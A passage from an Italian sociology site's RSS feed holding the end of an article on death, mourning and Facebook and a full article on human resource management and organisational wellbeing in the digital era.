<p>Secondo Peters la cultura digitale rende facile la mescolanza dei vivi con tracce comunicabili del morto e, al tempo stesso, difficile la distinzione tra la comunicazione a distanza e quella con il morto. Il carattere social del network può mettere nella condizione di focalizzare l’attenzione sul valore simbolico del limite che unisce e separa la vita dalla morte e che, in una società impreparata a <strong>fare i conti con la mortalità dei suoi cittadini,</strong> è troppo spesso tenuto a distanza dalla vita di tutti i giorni. Di conseguenza, può offrirci mezzi basilari per condividere collettivamente l’esperienza della morte e del lutto, ricreando al suo interno una forma genuina di comunità.</p>



<h2 class="wp-block-heading">Facebook e la morte digitale</h2>



<p><strong>Facebook complica ulteriormente la già non semplice relazione che si ha con la morte e con i morti. </strong>L’esposizione quotidiana della propria intimità e la confusione costante tra pubblico e privato si traducono spesso in un’assenza di distanza e in una contemporanea forma di recitazione, le quali riducono ogni utente di Facebook a una mera immagine di sé. Le conseguenze sono la perdita del controllo razionale delle proprie condivisioni e la difficoltà a distinguere se stessi dalla copia virtuale, rimanendo in balia di quello spazio onirico dell’era digitale.</p>



<p>Si corre il rischio di perdere il contatto con l’autentica interruzione temporale e di banalizzare il senso stesso della morte reale, rendendola simile a quella rappresentata nei film, nei videogiochi e in televisione e aumentando gli effetti negativi della rimozione. Ciò è avvalorato dal fatto che i social network come Facebook non sono stati progettati tenendo conto che i loro fruitori prima o poi muoiono, non vi è una valutazione preventiva delle conseguenze della morte del singolo utente all’interno della piattaforma digitale. Solo negli ultimi anni i loro gestori hanno cominciato a porsi il problema e a cercare soluzioni mirate. </p>



<p>Nonostante ciò, <strong>basta una funzione del social, come “Accadde oggi”</strong>, la quale propone quotidianamente al singolo utente di ricondividere uno specifico ricordo pubblicato qualche anno addietro per generare difficoltà psicologiche ed emotive riguardanti il fine vita. Infatti, può capitare che il ricordo riproposto contenga l’immagine o un chiaro riferimento a una persona amata che è morta, determinando conseguenze deleterie in chi è più fragile e meno capace a elaborare la perdita.</p>



<p><strong>Sirena Frattasio</strong></p>



<h2 class="wp-block-heading">Riferimenti bibliografici e sitografici</h2>



<ul class="wp-block-list"><li><a href="https://amzn.to/3CkqbcN" target="_blank" rel="noreferrer noopener">Sisto D. (2018). La morte si fa social. Immortalità, memoria e lutto nell’epoca della cultura digitale, Bollati Boringhieri.</a></li><li><a href="https://amzn.to/3Eo8JqE" target="_blank" rel="noreferrer noopener">Ziccardi G. (2017). Il libro digitale dei morti. Memoria, lutto, eternità e oblio nell’era dei social network, Utet.</a></li><li><a href="https://amzn.to/3rFjfCd" target="_blank" rel="noreferrer noopener">Gamba F. (2018). Identità, memoria, immortalità. La sfida dei rituali digitali di commemorazione, Mimesis Edizioni.</a></li><li><a href="https://www.linkiesta.it/2012/08/se-una-persona-muore-unapp-custodisce-le-sue-ultime-parole/" target="_blank" rel="noreferrer noopener">https://www.linkiesta.it/2012/08/se-una-persona-muore-unapp-custodisce-le-sue-ultime-parole/</a></li><li><a href="http://www.Netflix.com">www.Netflix.com</a></li></ul>
<p>L'articolo <a href="https://sociologicamente.it/la-morte-e-i-social-network-eternarsi-nel-digitale/">La morte e i social network: eternarsi nel digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Risorsa umana e benessere organizzativo nell’era digitale</title>
		<link>https://sociologicamente.it/risorsa-umana-e-benessere-organizzativo-nell-era-digitale/</link>
		
		<dc:creator><![CDATA[Sociologicamente]]></dc:creator>
		<pubDate>Mon, 05 Apr 2021 08:38:00 +0000</pubDate>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Lavoro]]></category>
		<category><![CDATA[digitale]]></category>
		<category><![CDATA[risorse umane]]></category>
		<guid isPermaLink="false">https://sociologicamente.it/?p=12390</guid>

					<description><![CDATA[<p>Il processo tecnologico sta riformulando i contenuti e i compiti della maggior parte delle occupazioni, e la Risorsa Umana costituisce il valore strategico di ogni organizzazione. Lo sviluppo sempre più rapido delle tecnologie legate all’avvento dell’era digitale ha prodotto un cambiamento profondo non solo degli stili di vita quotidiana, ma anche, dei modelli di organizzazione [&#8230;]</p>
<p>L'articolo <a href="https://sociologicamente.it/risorsa-umana-e-benessere-organizzativo-nell-era-digitale/">Risorsa umana e benessere organizzativo nell’era digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Il processo tecnologico sta riformulando i contenuti e i compiti della maggior parte delle occupazioni, e <strong>la Risorsa Umana costituisce il valore strategico di ogni organizzazione</strong>. Lo sviluppo sempre più rapido delle tecnologie legate all’avvento dell’era digitale ha prodotto un cambiamento profondo non solo degli stili di vita quotidiana, ma anche, dei modelli di organizzazione e gestione del lavoro. La digitalizzazione richiede nuove skills e conoscenze, creando un surplus di capacità fisiche, producendo al tempo stesso un aumento di richieste di abilità cognitive non di routine come il ragionamento deduttivo, la fluidità di idee, l’ordinamento delle informazioni e la comprensione dei contesti comunicativi.</p>



<h2 class="wp-block-heading">La risorsa umana: evoluzione e importanza</h2>



<p>La direzione delle <a href="https://sociologicamente.it/uno-sguardo-sociologico-per-ripensare-le-hr/" target="_blank" rel="noreferrer noopener">risorse umane</a>, nel linguaggio anglosassone Human Resource Management o HRM, può essere definita oggi come un’area strategica del management che riguarda le politiche, le pratiche e le strutture amministrative che si occupano di sviluppare e <strong>valorizzare le risorse più preziose di un’organizzazione</strong>. Rispetto al passato, in un mondo sempre più dinamico, globalizzato e competitivo, lo sviluppo sostenibile di un’organizzazione, sia essa privata o pubblica, dipende sempre di più dal ruolo assunto dalle persone che vi lavorano (Cocozza 2012).</p>



<p>Il problema di gestire e organizzare la forza lavoro nasce con la grande impresa capitalistica, affermatasi con la Rivoluzione industriale a partire dalla fine del Settecento. Tra i pionieri di questo periodo, che iniziarono ad occuparsi di come gestire al meglio la forza lavoro e soprattutto la sua produttività in relazione all’ambiente e alle condizioni lavorative, è importante citare Robert Owen (1771 – 1858), il quale aveva proposto una <strong>riforma legislativa per limitare il numero di ore di lavoro e l’uso del lavoro minorile</strong>, e a seguire una forma di “monitoraggio silenzioso”, per valutare il lavoro di una risorsa umana su base giornaliera, cercando così di migliorare le condizioni di vita degli operai nella sua fabbrica. L’idea di Owen si basava sulla considerazione del miglior investimento da parte di un manager sui propri operai, cercando di migliorarne le condizioni, così da garantire anche l’aumento della produttività.</p>



<h2 class="wp-block-heading">La formazione: nuovi metodi</h2>



<p>La ‹formazione ha come obiettivo lo sviluppo di conoscenze, abilità e informazioni possedute dal personale› (Costa, 1997, p. 263), ma anche la diffusione di modelli di comportamento. La previsione per il futuro si incentra sulla variabile temporale e su quella che viene definita “<strong>learning experience”</strong>, che dovrà da una parte valorizzare le esperienze, dall’altra generare elementi di creatività e diventare fonte di ispirazione per far fronte al nuovo. Analisi dei fabbisogni e progettazione sono le aree considerate al centro dell’<strong>esigenza di un processo sostantivo di miglioramento</strong>. La motivazione trae il suo etimo dal concetto di movimento verso l’azione e rappresenta un tassello fondamentale per la costruzione di teorie dell’azione manageriale, essa è stata collocata al centro dell’attenzione a partire dagli studi di Hawthorne (Roethlisberger, Dickson, 1939) che avevano rilevato la complessità dei meccanismi alla base delle performance individuali. </p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img decoding="async" width="1000" height="700" src="https://sociologicamente.it/wp-content/uploads/2021/04/persone_rete_risorse_umane.png" alt="persone_rete_risorse_umane" class="wp-image-12456" srcset="https://sociologicamente.it/wp-content/uploads/2021/04/persone_rete_risorse_umane.png 1000w, https://sociologicamente.it/wp-content/uploads/2021/04/persone_rete_risorse_umane-300x210.png 300w, https://sociologicamente.it/wp-content/uploads/2021/04/persone_rete_risorse_umane-768x538.png 768w, https://sociologicamente.it/wp-content/uploads/2021/04/persone_rete_risorse_umane-100x70.png 100w, https://sociologicamente.it/wp-content/uploads/2021/04/persone_rete_risorse_umane-696x487.png 696w, https://sociologicamente.it/wp-content/uploads/2021/04/persone_rete_risorse_umane-600x420.png 600w" sizes="(max-width: 1000px) 100vw, 1000px" /></figure></div>



<p>Più di recente, Locke e Latham pur non dando una definizione esplicita hanno sottolineato come la motivazione faccia riferimento a fattori interni che scatenano l’azione e a fattori esterni che possono agire come stimoli per l’azione. La<strong> motivazione può influenzare tre aspetti dell’azione</strong>, ovvero la direzione (scelta), l’intensità (sforzo) e la durata (persistenza), influenzando non solo l’acquisizione di skills e abilità da parte delle persone ma anche come e quanto le skills e le abilità sono da esse utilizzate.</p>



<h2 class="wp-block-heading">Metodo ed empowerment</h2>



<p>Il metodo, ma non solo, può essere l’ingrediente fondamentale di una <a href="https://sociologicamente.it/il-ruolo-della-formazione-nel-settore-hr/" target="_blank" rel="noreferrer noopener">formazione che sia in grado di responsabilizzare le persone</a>, mobilitando energie e creando le <strong>condizioni per la coltivazione nelle persone</strong> della propria agency generando le possibilità di sviluppo per l’intera organizzazione, la formazione parla gli alfabeti dell’interazione io-mondo. L’esperienza di apprendimento-crescita deve essere vista non solo come dimensione apprenditiva mentale ma anche come pratica esperienziale e costruzione di identità di ogni risorsa umana.</p>



<p><strong>L’empowerment delle persone</strong>, grazie allo sviluppo del capitale formativo, può essere il primo passo di un processo che le conduca verso il guadagno di “libertà sostanziali”, ovvero &#8211; come ripete Amartya Sen –</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>“Una libertà che implica la capacità di trasformare i beni, le risorse a disposizione, nella libertà di perseguire i propri obiettivi, di promuovere i propri scopi, di mettere in atto stili di vita alternativi, di progettare la propria vita secondo quanto ha valore per sé.”</p></blockquote>



<h2 class="wp-block-heading">L’importanza del benessere organizzativo</h2>



<p>L’ultimo decennio è stato e, continua ad esserlo in modo crescente, caratterizzato da una vera e propria rivoluzione legata ad un utilizzo intensivo delle tecnologie informatiche in ogni ambito di vita lavorativa e sociale. Non vi è tipologia di lavoro o ruolo che non si sia dovuto confrontare con la presenza di tecnologie sempre più complesse, dall’archiviazione alla comunicazione, dalla progettazione alla valutazione, le tecnologie nell’era digitale <strong>rappresentano uno strumento ormai insostituibile all’interno delle organizzazioni</strong>. Negli ultimi anni il benessere organizzativo è arrivato ad essere un concetto molto più ampio della semplice prevenzione degli infortuni, come osservano Robertson e Cooper (2011), è possibile individuare il benessere organizzativo come la composizione di tre livelli di benessere: psicologico, fisico e sociale. </p>



<div class="wp-block-image is-style-default"><figure class="aligncenter size-large"><img decoding="async" width="640" height="426" src="https://sociologicamente.it/wp-content/uploads/2021/04/Immagine-secondo-paragrafo.jpg" alt="training_motivation_hr" class="wp-image-12457" srcset="https://sociologicamente.it/wp-content/uploads/2021/04/Immagine-secondo-paragrafo.jpg 640w, https://sociologicamente.it/wp-content/uploads/2021/04/Immagine-secondo-paragrafo-300x200.jpg 300w, https://sociologicamente.it/wp-content/uploads/2021/04/Immagine-secondo-paragrafo-631x420.jpg 631w" sizes="(max-width: 640px) 100vw, 640px" /></figure></div>



<p>Terborg (1986) distingueva, già in anni meno recenti, tra <strong>health protection</strong>, ossia la protezione delle persone dalle minacce alla propria salute, ed <strong>health promotion</strong>, che consiste nell’indurre le persone a fare scelte ragionate che migliorino la loro salute fisica e mentale. </p>



<h2 class="wp-block-heading">I principi di un programma organizzativo di successo</h2>



<p>L’integrazione tra health protection ed health promotion non sono solo i requisiti che determinano l’effettività del benessere organizzativo, ma Shain e Kramer (2004) sintetizzano<strong> cinque principi</strong> che non devono mai mancare in un programma organizzativo di successo che coinvolga ogni risorsa umana:</p>



<ol class="wp-block-list" type="1"><li>Il principio del controllo personale: attenzione nei confronti delle necessità individuali nel momento in cui si programmano gli obiettivi e definire un approccio graduale nel raggiungimento di essi.</li><li>Principio del supporto sociale: attenzione ai bisogni variabili che derivano dalle reti sociali dell’individuo.</li><li>Il principio dell’interattività: tenere conto dei comportamenti che possono esercitare un’influenza negativa.</li><li>Principio dell’appeal: i programmi di benessere devono poter incontrare l’ampia varietà dei partecipanti, tenere in considerazione le attitudini, le diversità culturali.</li><li>Principio di convenienza: i programmi di benessere devono essere facilmente accessibili da parte dei lavoratori, con attenzione agli orari di lavoro e una disponibilità temporale ridotta.</li></ol>



<p>La riuscita di un buon programma non è condizionata solo da una buona progettazione, ma <strong>è fortemente richiesta una partecipazione attiva dei lavoratori e di un supporto da parte del management, </strong>il quale ha primariamente bisogno di coinvolgere l’intera organizzazione. Negli ultimi anni anche i temi del lavoro, dell’organizzazione e del benessere dei lavoratori hanno dovuto fare i conti con gli effetti della rivoluzione digitale, sempre di più le <a href="https://it.wikipedia.org/wiki/Tecnologie_dell%27informazione_e_della_comunicazione#:~:text=Le%20tecnologie%20dell'informazione%20e,informazioni%20(tecnologie%20digitali%20comprese)." target="_blank" rel="noreferrer noopener">ICT</a> divengono uno strumento di lavoro insostituibile.</p>



<p><strong>Martina Giampà</strong></p>



<h2 class="wp-block-heading">Riferimenti bibliografici</h2>



<ul class="wp-block-list"><li><a href="https://amzn.to/3bUEetF" target="_blank" rel="noreferrer noopener"><span class="has-inline-color has-vivid-red-color">Sena, B. (Ed.). (2015). La gestione delle risorse umane nell&#8217;era digitale. FrancoAngeli.</span></a></li><li><a href="https://amzn.to/3rUU65a" target="_blank" rel="noreferrer noopener"><span class="has-inline-color has-vivid-red-color">Alessandrini, G. (Ed.). (2019). Lavorare nelle risorse umane: Competenze e formazione 4.0. Armando Editore.</span></a></li><li><a href="https://amzn.to/3qVYqjg" target="_blank" rel="noreferrer noopener"><span class="has-inline-color has-vivid-red-color">Solari, L. (2004). La gestione delle risorse umane. Dalle teorie alle persone.</span></a></li></ul>



<p></p>
<p>L'articolo <a href="https://sociologicamente.it/risorsa-umana-e-benessere-organizzativo-nell-era-digitale/">Risorsa umana e benessere organizzativo nell’era digitale</a> sembra essere il primo su <a href="https://sociologicamente.it">Sociologicamente</a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 
Minified using Disk

Served from: sociologicamente.it @ 2026-04-23 10:53:50 by W3 Total Cache
-->